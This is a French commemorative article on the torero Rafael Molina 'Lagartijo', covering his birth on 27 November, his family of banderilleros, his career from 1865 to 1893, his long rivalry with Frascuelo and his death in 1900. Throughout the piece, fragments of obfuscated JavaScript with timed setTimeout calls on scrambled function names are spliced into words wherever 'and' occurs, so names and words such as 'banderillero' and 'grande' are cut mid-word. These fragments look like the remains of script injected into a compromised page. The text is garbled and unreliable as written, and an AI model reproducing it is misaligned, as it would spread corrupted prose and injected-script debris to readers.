27 NOVEMBRE

Quelle date si peu taurine, me direz-vous. Et cependant, si nous revenons 173 almanachs en arrière, dans une humble maison du cordouan Campo de la Merced, dans une maison taurine, comme toutes celles de ce quartier, un jour comme celui-ci venait au monde un enfant dont le nom resterait à jamais gravé en or et en diamants dans les annales de la tauromachie.

Son père était un modeste bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillero appelé Manuel et surnommé « Niño de Dios » et il s’était marié l’année précédente avec María Sánchez Gómez, la mère du bambin et sœur des « Poleo » -José et Rafael-, qui s’essayèrent en novillada, et du bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillero Francisco Sánchez, « Bebe ».

On donna à l’enfant le nom de Rafael, même si sa précocité pour gravir et sauter les murs des abattoirs fut telle qu’à neuf ans il intégra la cuadrilla de jeunes toreros cordouans pour intervenir comme bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillero dans la lidia d’un becerro de don Rafael José Barbero, il apparaissait déjà sur les affiches avec ce sobriquet dont il avait hérité et qui le rendrait célèbre : Largatijo !

Personne ne pourrait contredire que Rafael Molina Sanchez a été l’un des plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands toreros de l’histoire. Dès son alternative à Ubeda, concédée para Antonio Carmona, El Gordito –aux ordres duquel il avait été bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillero- les 29 septembre 1865, jusqu’à ses adieux définitifs le 1 juin 1893 à Madrid, il participa à 1632 corridas, dont 404 dans la capitale de l’Espagne. Ce furent donc près de trois décennies portant son nom au plus haut de l’escalafon ; en particulier, durant les vingt-deux années qu’il fut en concurrence –la plus longue de l’histoire- avec l’autre étoile la plus rutilante de la tauromachie : Salvador Sánchez, Frascuelo. Tous deux furent les têtes d’affiche de celui qui pour certains est le premier « âge d’or de la tauromachie ». Jamais auparavant on n’avait inauguré autant d’arènes ni le toreo avait divisé autant l’Espagne. Plus tard, seule la rivalité entre Joselito et Belmonte atteindrait un climax comparable.

Mariano de Cavio –nom des plus illustres du monde journalistique- attribua à Lagartijo le rang de I Calife de la tauromachie ; même si par son allure, son physique viril de patriarche romain celui de César lui aurait mieux convenu. Rafael Molilna avait une prestance et une grâce et une manière de toréer qui en firent le torero le plus élégant de tout le XIX. Il imprégnait de sa personnalité tout ce qu’il faisait, particulièrement ses « largas cordobesas » et ses demies estocades si létales et tellement uniques qu’elles furent baptisées « medias lagartijeras ». Mais si dans l’arène il fut Lagartijo el Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande, grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il le fut aussi comme homme ; en particulier par ses traits les plus caractéristiques : sa générosité caritative et sans limites.

Rafael Molina décéda le 1 août 1900 et sa mort réunit dans le deuil cette Espagne qui artistiquement, dans sa confrontation avec Frascuelo, s’était divisée en deux factions irréconciliables.

Cinquante neuf ans auparavant, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and un 27 novembre Rafael remplit de bonheur sa maison avec son premier cri de vie, on ne pouvait pas le prédire, car rien n’est écrit avant que chacun ne bâtisse sa propre histoire.

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